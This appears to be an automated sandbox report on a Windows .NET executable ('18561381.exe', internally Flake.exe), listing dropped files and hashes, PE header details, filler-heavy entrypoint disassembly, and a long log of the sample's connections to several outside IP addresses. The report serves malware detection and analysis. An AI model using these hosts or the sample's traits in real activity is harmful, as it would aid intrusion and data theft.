SHA-512:	0BF02A9A38798CAFBB22DED7FE60C4C36BBB8ED19B9540EB3060CD7B1E5F236CA8DE8FC96B0031EE2D56FA94012789DE96E33742E11672863D05FF07A6F4CA30
Malicious:	false
Preview:	..........-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.....M.p.C.m.d.R.u.n.:. .C.o.m.m.a.n.d. .L.i.n.e.:. .".C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.\.m.p.c.m.d.r.u.n...e.x.e.". .-.w.d.e.n.a.b.l.e..... .S.t.a.r.t. .T.i.m.e.:. .. T.h.u. .. J.u.n. .. 2.7. .. 2.0.1.9. .0.1.:.2.9.:.4.9.........M.p.E.n.s.u.r.e.P.r.o.c.e.s.s.M.i.t.i.g.a.t.i.o.n.P.o.l.i.c.y.:. .h.r. .=. .0.x.1.....W.D.E.n.a.b.l.e.....E.R.R.O.R.:. .M.p.W.D.E.n.a.b.l.e.(.T.R.U.E.). .f.a.i.l.e.d. .(.8.0.0.7.0.4.E.C.).....M.p.C.m.d.R.u.n.:. .E.n.d. .T.i.m.e.:. .. T.h.u. .. J.u.n. .. 2.7. .. 2.0.1.9. .0.1.:.2.9.:.4.9.....-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.............-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Users\user\Desktop\18561381.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1572864
Entropy (8bit):	4.267102862325252
Encrypted:	false
SSDEEP:	12288:2MD0Th312ap8TSP5ve7dcb5GMtzr8VxmoKwPjMQ2ZlPfq+kwX2jet:JD0Th312ap8TSPd5
MD5:	F49CCDFFBF37B77E5FF5E5D81B4E72C6
SHA1:	F884FE030059F68885F0B03810508FA0B9028317
SHA-256:	ADF872D944D15EFCC23441E3602E44D94B73713BE97249CF8FE87BCE338683FF
SHA-512:	F1A04C66CF02830345D7953A05DBE69703B7D261DA781DDEED08BC51E07B535442DDBE3FF8AF10A5C560FB0683345694AFAD964157F98577018CAD70938DA461
Malicious:	false
Preview:	regfZ...Z...p.\..,.................. ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e...4............E.4............E.....5............E.rmtm.I...:..............................................................................................................................................................................................................................................................................................................................................Z...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\appcompat\Programs\Amcache.hve.LOG1

Download File

Process:	C:\Users\user\Desktop\18561381.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	3.6668650920248695
Encrypted:	false
SSDEEP:	192:bSH/QJ1Ck6UrsJYN5FSEsBYHltBQFvn4ZMdTV7OyOeOv2sR49eNJp/S:+fi5yultBQxEMdTVKyOeOv2sR49eNJp
MD5:	9BAB8BFD64746C66ACCDFEDDB1B74C1E
SHA1:	63A511D3599B6414D4EFEEFD1DAD81C17B4C6C22
SHA-256:	5FE0FC38D52F6A4410B068E4A7CC21E95DB904F54DA43CC6F8B44923BCB82362
SHA-512:	31E792A4E6AFFB160CFFBCAF05BE4E2430BCFB76DE166060CFE50FCD8DC55ADC5AD2BB4472CEC9834D0CB3418D218966D75A3DE191EDE19E48E5FA327DFEA30C
Malicious:	false
Preview:	regfY...Y...p.\..,.................. ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e...4............E.4............E.....5............E.rmtm.I...:..............................................................................................................................................................................................................................................................................................................................................\...HvLE.>......Y.............S.U..b....>.\|........................hbin................p.\..,..........nk,..!...,.................................. ...........................&...{ad79c032-a2ea-f756-e377-72fb9332c3ae}......nk ...@..a...... ........................... .......Z.......................Root........lf......Root....nk ...6Y.....................}.............. ...............*...............DeviceCensus.......................vk..................WritePermissionsCheck.......p...

\Device\Null

Download File

Process:	C:\Windows\System32\timeout.exe
File Type:	ASCII text, with CRLF line terminators, with overstriking
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.41440934524794
Encrypted:	false
SSDEEP:	3:hYFqdLGAR+mQRKVxLZXt0sn:hYFqGaNZKsn
MD5:	3DD7DD37C304E70A7316FE43B69F421F
SHA1:	A3754CFC33E9CA729444A95E95BCB53384CB51E4
SHA-256:	4FA27CE1D904EA973430ADC99062DCF4BAB386A19AB0F8D9A4185FA99067F3AA
SHA-512:	713533E973CF0FD359AC7DB22B1399392C86D9FD1E715248F5724AAFBBF0EEB5EAC0289A0E892167EB559BE976C2AD0A0A0D8EFC407FFAF5B3C3A32AA9A0AAA4
Malicious:	false
Preview:	..Waiting for 3 seconds, press a key to continue ....2.1.0..

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	5.827181250319409
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.79% Win32 Executable (generic) a (10002005/4) 49.75% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Windows Screen Saver (13104/52) 0.07% Win16/32 Executable Delphi generic (2074/23) 0.01%
File name:	18561381.exe
File size:	104960
MD5:	68e9a902193c06e8f3289cd54fdac054
SHA1:	1998a855c46aac49ee9974e0f6277f2fffd396e5
SHA256:	0f0807cdcb400a718656d3ec845ad57ffef9e25232d50044bb8d7a5d9d2a0a98
SHA512:	9674b1675fc54e63ad56713716f699ef9d404760c403d15a6c6bb75136f734f0209044b92a09578cfddae4334a3c3cfd81456eb25bb346a585ddac0a78284fa1
SSDEEP:	1536:30DMkCrSG2I4AIcZdt9lO0rAUACispP3tA7zLibuTxSrsvwCLV:3oCrSGWmO6ZACTMeJwvT5
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....M................0.................. ........@.. ....................................@................................

File Icon


Icon Hash:	00828e8e8686b000

Static PE Info

General

Entrypoint:	0x41ae0e
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE
DLL Characteristics:	NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0xC6DE4D85 [Mon Sep 23 09:46:45 2075 UTC]
TLS Callbacks:
CLR (.Net) Version:	v4.0.30319
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x1adb4	0x57	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x1c000	0x4c6	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x1e000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x18e14	0x19000	False	0.4416015625	data	5.87750148121	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rsrc	0x1c000	0x4c6	0x600	False	0.373046875	data	3.68991170352	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x1e000	0xc	0x200	False	0.044921875	data	0.101910425663	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_VERSION	0x1c0a0	0x23c	data
RT_MANIFEST	0x1c2dc	0x1ea	XML 1.0 document, UTF-8 Unicode (with BOM) text, with CRLF line terminators

Imports

DLL	Import
mscoree.dll	_CorExeMain

Version Infos

Description	Data
Translation	0x0000 0x04b0
LegalCopyright
Assembly Version	0.0.0.0
InternalName	Flake.exe
FileVersion	0.0.0.0
ProductVersion	0.0.0.0
FileDescription
OriginalFilename	Flake.exe

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 18, 2022 07:00:01.425395012 CET	49755	15914	192.168.2.3	65.108.82.103
Mar 18, 2022 07:00:01.468044996 CET	15914	49755	65.108.82.103	192.168.2.3
Mar 18, 2022 07:00:01.469178915 CET	49755	15914	192.168.2.3	65.108.82.103
Mar 18, 2022 07:00:02.584626913 CET	49755	15914	192.168.2.3	65.108.82.103
Mar 18, 2022 07:00:02.626219034 CET	15914	49755	65.108.82.103	192.168.2.3
Mar 18, 2022 07:00:02.807764053 CET	49755	15914	192.168.2.3	65.108.82.103
Mar 18, 2022 07:00:07.303323984 CET	49755	15914	192.168.2.3	65.108.82.103
Mar 18, 2022 07:00:07.346007109 CET	15914	49755	65.108.82.103	192.168.2.3
Mar 18, 2022 07:00:07.500164032 CET	49755	15914	192.168.2.3	65.108.82.103
Mar 18, 2022 07:00:19.960608959 CET	49755	15914	192.168.2.3	65.108.82.103
Mar 18, 2022 07:00:20.047674894 CET	15914	49755	65.108.82.103	192.168.2.3
Mar 18, 2022 07:00:21.006048918 CET	15914	49755	65.108.82.103	192.168.2.3
Mar 18, 2022 07:00:21.006082058 CET	15914	49755	65.108.82.103	192.168.2.3
Mar 18, 2022 07:00:21.006104946 CET	15914	49755	65.108.82.103	192.168.2.3
Mar 18, 2022 07:00:21.006169081 CET	49755	15914	192.168.2.3	65.108.82.103
Mar 18, 2022 07:00:21.070718050 CET	49755	15914	192.168.2.3	65.108.82.103
Mar 18, 2022 07:00:29.286128044 CET	49755	15914	192.168.2.3	65.108.82.103
Mar 18, 2022 07:00:29.329031944 CET	15914	49755	65.108.82.103	192.168.2.3
Mar 18, 2022 07:00:29.372541904 CET	49755	15914	192.168.2.3	65.108.82.103
Mar 18, 2022 07:00:29.390650034 CET	49755	15914	192.168.2.3	65.108.82.103
Mar 18, 2022 07:00:29.431646109 CET	15914	49755	65.108.82.103	192.168.2.3
Mar 18, 2022 07:00:29.483186007 CET	49755	15914	192.168.2.3	65.108.82.103
Mar 18, 2022 07:00:29.524003029 CET	15914	49755	65.108.82.103	192.168.2.3
Mar 18, 2022 07:00:29.525434971 CET	49755	15914	192.168.2.3	65.108.82.103
Mar 18, 2022 07:00:29.568240881 CET	15914	49755	65.108.82.103	192.168.2.3
Mar 18, 2022 07:00:29.607331991 CET	49755	15914	192.168.2.3	65.108.82.103
Mar 18, 2022 07:00:29.648175001 CET	15914	49755	65.108.82.103	192.168.2.3
Mar 18, 2022 07:00:29.850173950 CET	49755	15914	192.168.2.3	65.108.82.103
Mar 18, 2022 07:00:29.890950918 CET	15914	49755	65.108.82.103	192.168.2.3
Mar 18, 2022 07:00:30.075659037 CET	49755	15914	192.168.2.3	65.108.82.103
Mar 18, 2022 07:00:30.405265093 CET	49755	15914	192.168.2.3	65.108.82.103
Mar 18, 2022 07:00:30.446832895 CET	15914	49755	65.108.82.103	192.168.2.3
Mar 18, 2022 07:00:30.456636906 CET	49755	15914	192.168.2.3	65.108.82.103
Mar 18, 2022 07:00:30.497471094 CET	15914	49755	65.108.82.103	192.168.2.3
Mar 18, 2022 07:00:30.531419992 CET	49755	15914	192.168.2.3	65.108.82.103
Mar 18, 2022 07:00:30.572283983 CET	15914	49755	65.108.82.103	192.168.2.3
Mar 18, 2022 07:00:30.763211012 CET	49755	15914	192.168.2.3	65.108.82.103
Mar 18, 2022 07:00:32.722332001 CET	49755	15914	192.168.2.3	65.108.82.103
Mar 18, 2022 07:00:32.764729977 CET	15914	49755	65.108.82.103	192.168.2.3
Mar 18, 2022 07:00:32.872767925 CET	49755	15914	192.168.2.3	65.108.82.103
Mar 18, 2022 07:00:32.929028988 CET	49755	15914	192.168.2.3	65.108.82.103
Mar 18, 2022 07:00:32.970002890 CET	15914	49755	65.108.82.103	192.168.2.3
Mar 18, 2022 07:00:32.970474005 CET	15914	49755	65.108.82.103	192.168.2.3
Mar 18, 2022 07:00:33.002749920 CET	49755	15914	192.168.2.3	65.108.82.103
Mar 18, 2022 07:00:33.043570042 CET	15914	49755	65.108.82.103	192.168.2.3
Mar 18, 2022 07:00:33.158166885 CET	49755	15914	192.168.2.3	65.108.82.103
Mar 18, 2022 07:00:33.199512959 CET	15914	49755	65.108.82.103	192.168.2.3
Mar 18, 2022 07:00:33.223918915 CET	49755	15914	192.168.2.3	65.108.82.103
Mar 18, 2022 07:00:33.264975071 CET	15914	49755	65.108.82.103	192.168.2.3
Mar 18, 2022 07:00:33.346803904 CET	49755	15914	192.168.2.3	65.108.82.103
Mar 18, 2022 07:00:33.387913942 CET	15914	49755	65.108.82.103	192.168.2.3
Mar 18, 2022 07:00:33.389017105 CET	15914	49755	65.108.82.103	192.168.2.3
Mar 18, 2022 07:00:33.391439915 CET	49755	15914	192.168.2.3	65.108.82.103
Mar 18, 2022 07:00:33.432491064 CET	15914	49755	65.108.82.103	192.168.2.3
Mar 18, 2022 07:00:33.575341940 CET	49755	15914	192.168.2.3	65.108.82.103
Mar 18, 2022 07:00:33.696355104 CET	15914	49755	65.108.82.103	192.168.2.3
Mar 18, 2022 07:00:33.696952105 CET	49755	15914	192.168.2.3	65.108.82.103
Mar 18, 2022 07:00:33.738362074 CET	15914	49755	65.108.82.103	192.168.2.3
Mar 18, 2022 07:00:33.742662907 CET	49755	15914	192.168.2.3	65.108.82.103
Mar 18, 2022 07:00:33.788881063 CET	15914	49755	65.108.82.103	192.168.2.3
Mar 18, 2022 07:00:33.872888088 CET	49755	15914	192.168.2.3	65.108.82.103
Mar 18, 2022 07:00:34.679516077 CET	49772	80	192.168.2.3	162.159.135.232
Mar 18, 2022 07:00:34.695849895 CET	80	49772	162.159.135.232	192.168.2.3
Mar 18, 2022 07:00:34.695938110 CET	49772	80	192.168.2.3	162.159.135.232
Mar 18, 2022 07:00:34.696507931 CET	49772	80	192.168.2.3	162.159.135.232
Mar 18, 2022 07:00:34.712555885 CET	80	49772	162.159.135.232	192.168.2.3
Mar 18, 2022 07:00:34.721851110 CET	80	49772	162.159.135.232	192.168.2.3
Mar 18, 2022 07:00:34.759785891 CET	49773	443	192.168.2.3	162.159.128.233
Mar 18, 2022 07:00:34.759838104 CET	443	49773	162.159.128.233	192.168.2.3
Mar 18, 2022 07:00:34.759927034 CET	49773	443	192.168.2.3	162.159.128.233
Mar 18, 2022 07:00:34.888609886 CET	49772	80	192.168.2.3	162.159.135.232
Mar 18, 2022 07:00:35.087554932 CET	49773	443	192.168.2.3	162.159.128.233
Mar 18, 2022 07:00:35.087589979 CET	443	49773	162.159.128.233	192.168.2.3
Mar 18, 2022 07:00:35.138592958 CET	443	49773	162.159.128.233	192.168.2.3
Mar 18, 2022 07:00:35.138715982 CET	49773	443	192.168.2.3	162.159.128.233
Mar 18, 2022 07:00:35.142489910 CET	49773	443	192.168.2.3	162.159.128.233
Mar 18, 2022 07:00:35.142517090 CET	443	49773	162.159.128.233	192.168.2.3
Mar 18, 2022 07:00:35.142769098 CET	443	49773	162.159.128.233	192.168.2.3
Mar 18, 2022 07:00:35.263618946 CET	49773	443	192.168.2.3	162.159.128.233
Mar 18, 2022 07:00:35.506863117 CET	49773	443	192.168.2.3	162.159.128.233
Mar 18, 2022 07:00:35.543828964 CET	443	49773	162.159.128.233	192.168.2.3
Mar 18, 2022 07:00:35.543997049 CET	443	49773	162.159.128.233	192.168.2.3
Mar 18, 2022 07:00:35.544090986 CET	49773	443	192.168.2.3	162.159.128.233
Mar 18, 2022 07:00:35.544114113 CET	443	49773	162.159.128.233	192.168.2.3
Mar 18, 2022 07:00:35.544143915 CET	443	49773	162.159.128.233	192.168.2.3
Mar 18, 2022 07:00:35.544178963 CET	49773	443	192.168.2.3	162.159.128.233
Mar 18, 2022 07:00:35.544184923 CET	443	49773	162.159.128.233	192.168.2.3
Mar 18, 2022 07:00:35.544225931 CET	49773	443	192.168.2.3	162.159.128.233
Mar 18, 2022 07:00:35.544231892 CET	443	49773	162.159.128.233	192.168.2.3
Mar 18, 2022 07:00:35.544284105 CET	443	49773	162.159.128.233	192.168.2.3
Mar 18, 2022 07:00:35.544331074 CET	49773	443	192.168.2.3	162.159.128.233
Mar 18, 2022 07:00:35.544336081 CET	443	49773	162.159.128.233	192.168.2.3
Mar 18, 2022 07:00:35.544380903 CET	443	49773	162.159.128.233	192.168.2.3
Mar 18, 2022 07:00:35.544425964 CET	49773	443	192.168.2.3	162.159.128.233
Mar 18, 2022 07:00:35.544431925 CET	443	49773	162.159.128.233	192.168.2.3
Mar 18, 2022 07:00:35.544512033 CET	443	49773	162.159.128.233	192.168.2.3
Mar 18, 2022 07:00:35.544563055 CET	49773	443	192.168.2.3	162.159.128.233
Mar 18, 2022 07:00:35.547440052 CET	49773	443	192.168.2.3	162.159.128.233
Mar 18, 2022 07:00:37.045389891 CET	49772	80	192.168.2.3	162.159.135.232
Mar 18, 2022 07:00:37.062410116 CET	80	49772	162.159.135.232	192.168.2.3
Mar 18, 2022 07:00:37.062537909 CET	49772	80	192.168.2.3	162.159.135.232
Mar 18, 2022 07:00:37.105387926 CET	49774	80	192.168.2.3	141.8.192.151
Mar 18, 2022 07:00:37.167263031 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.167382002 CET	49774	80	192.168.2.3	141.8.192.151
Mar 18, 2022 07:00:37.167714119 CET	49774	80	192.168.2.3	141.8.192.151
Mar 18, 2022 07:00:37.229182959 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.260592937 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.260626078 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.260646105 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.260668039 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.260689020 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.260710001 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.260715008 CET	49774	80	192.168.2.3	141.8.192.151
Mar 18, 2022 07:00:37.260731936 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.260744095 CET	49774	80	192.168.2.3	141.8.192.151
Mar 18, 2022 07:00:37.260754108 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.260776043 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.260792971 CET	49774	80	192.168.2.3	141.8.192.151
Mar 18, 2022 07:00:37.260801077 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.260813951 CET	49774	80	192.168.2.3	141.8.192.151
Mar 18, 2022 07:00:37.260845900 CET	49774	80	192.168.2.3	141.8.192.151
Mar 18, 2022 07:00:37.322458982 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.322494984 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.322518110 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.322542906 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.322566986 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.322590113 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.322594881 CET	49774	80	192.168.2.3	141.8.192.151
Mar 18, 2022 07:00:37.322613001 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.322633982 CET	49774	80	192.168.2.3	141.8.192.151
Mar 18, 2022 07:00:37.322638988 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.322662115 CET	49774	80	192.168.2.3	141.8.192.151
Mar 18, 2022 07:00:37.322664022 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.322689056 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.322700977 CET	49774	80	192.168.2.3	141.8.192.151
Mar 18, 2022 07:00:37.322711945 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.322736025 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.322756052 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.322757006 CET	49774	80	192.168.2.3	141.8.192.151
Mar 18, 2022 07:00:37.322778940 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.322803974 CET	49774	80	192.168.2.3	141.8.192.151
Mar 18, 2022 07:00:37.322804928 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.322828054 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.322839975 CET	49774	80	192.168.2.3	141.8.192.151
Mar 18, 2022 07:00:37.322850943 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.322875977 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.322880030 CET	49774	80	192.168.2.3	141.8.192.151
Mar 18, 2022 07:00:37.322895050 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.323003054 CET	49774	80	192.168.2.3	141.8.192.151
Mar 18, 2022 07:00:37.385135889 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.385210037 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.385230064 CET	49774	80	192.168.2.3	141.8.192.151
Mar 18, 2022 07:00:37.385261059 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.385305882 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.385318995 CET	49774	80	192.168.2.3	141.8.192.151
Mar 18, 2022 07:00:37.385351896 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.385406971 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.385410070 CET	49774	80	192.168.2.3	141.8.192.151
Mar 18, 2022 07:00:37.385451078 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.385513067 CET	49774	80	192.168.2.3	141.8.192.151
Mar 18, 2022 07:00:37.385519028 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.385582924 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.385628939 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.385641098 CET	49774	80	192.168.2.3	141.8.192.151
Mar 18, 2022 07:00:37.385672092 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.385716915 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.385735989 CET	49774	80	192.168.2.3	141.8.192.151
Mar 18, 2022 07:00:37.385757923 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.385797977 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.385829926 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.385860920 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.385901928 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.385946035 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.385948896 CET	49774	80	192.168.2.3	141.8.192.151
Mar 18, 2022 07:00:37.385998964 CET	49774	80	192.168.2.3	141.8.192.151
Mar 18, 2022 07:00:37.386009932 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.386075974 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.386079073 CET	49774	80	192.168.2.3	141.8.192.151
Mar 18, 2022 07:00:37.386123896 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.386183977 CET	49774	80	192.168.2.3	141.8.192.151
Mar 18, 2022 07:00:37.386198997 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.386245012 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.386285067 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.386296988 CET	49774	80	192.168.2.3	141.8.192.151
Mar 18, 2022 07:00:37.386327028 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.386368990 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.386389017 CET	49774	80	192.168.2.3	141.8.192.151
Mar 18, 2022 07:00:37.386410952 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.386451960 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.386477947 CET	49774	80	192.168.2.3	141.8.192.151
Mar 18, 2022 07:00:37.386496067 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.386538982 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.386564016 CET	49774	80	192.168.2.3	141.8.192.151
Mar 18, 2022 07:00:37.386583090 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.386622906 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.386631966 CET	49774	80	192.168.2.3	141.8.192.151
Mar 18, 2022 07:00:37.386666059 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.386708021 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.386719942 CET	49774	80	192.168.2.3	141.8.192.151
Mar 18, 2022 07:00:37.386749983 CET	80	49774	141.8.192.151	192.168.2.3
